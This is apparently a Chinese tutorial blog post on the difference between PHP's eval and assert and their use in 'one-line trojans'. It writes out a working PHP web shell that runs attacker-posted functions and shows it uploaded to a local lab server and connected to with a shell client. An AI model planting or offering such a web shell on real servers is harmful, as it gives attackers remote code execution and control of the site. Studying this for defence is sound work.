eval与assert区别
eval与assert
- 一、eval和assert的区别
- 1. eval定义和用法
- 2. assert的定义与用法
- 3. eval与assert的不同点
- 二、eval和assert在一句话木马的作用
一、eval和assert的区别
1. eval定义和用法
- eval会把字符串当作PHP代码来执行
- eval语法非常严格,所有的要执行的php字符串都必须完整,且以分号结尾
- 如果字符串中带有return,会立刻终止执行并返回NULL
- 如果代码中存在解析错误,则 eval() 函数返回 false
2. assert的定义与用法
-
assert会把字符串当作PHP代码来执行
-
assert被认定为一个可变函数
<?php $a = 'assert'; $a('phpinfo()'); ?> # 这就是可变函数
3. eval与assert的不同点
- eval 是一个语言构造器 (PHP关键字符),不能够使用像可变函数那样被调用,而assert可以那样被调用
- eval规范更加严格一些(字符串必须以分号结尾),必须符合PHP代码要求,assert则没有那么严格,执行PHP表达式即可
二、eval和assert在一句话木马的作用
假如我上传的木马文件代码如下所示:
<? $_POST['1']($_POST['2']); ?>
# $_POST['1']要传递为一个可变函数
# $_POST['2']是要执行的字符串
$_POST['1']
可以上传assert,$_POST[‘2’]可以上传assert和eval
我的服务器地址是192.168.93.134(本地服务器),所以我在根目录下面创建了muma.php文件,文件中的内容如下所示:
<? $_POST['1']($_POST['2']); ?>
类容是一句话木马,连接密码是2.
- 右键点击添加数据
- url填写http://192.168.93.134/muma.php,连接密码填写1
如上所示,点击测试连接,可以查看是否能够连接成功,点击添加就可以进行文件操作下:
三年之约-第一年: 密钥网上搜索一大堆的
kanm7: 好像没有免费版的了
我不是小白啊: 官网的下载地址没了
M_小马同学: 有密钥吗
三年之约-第一年: 肯定有的,win10都是自带这个东西的,搜索框搜索一下就出来了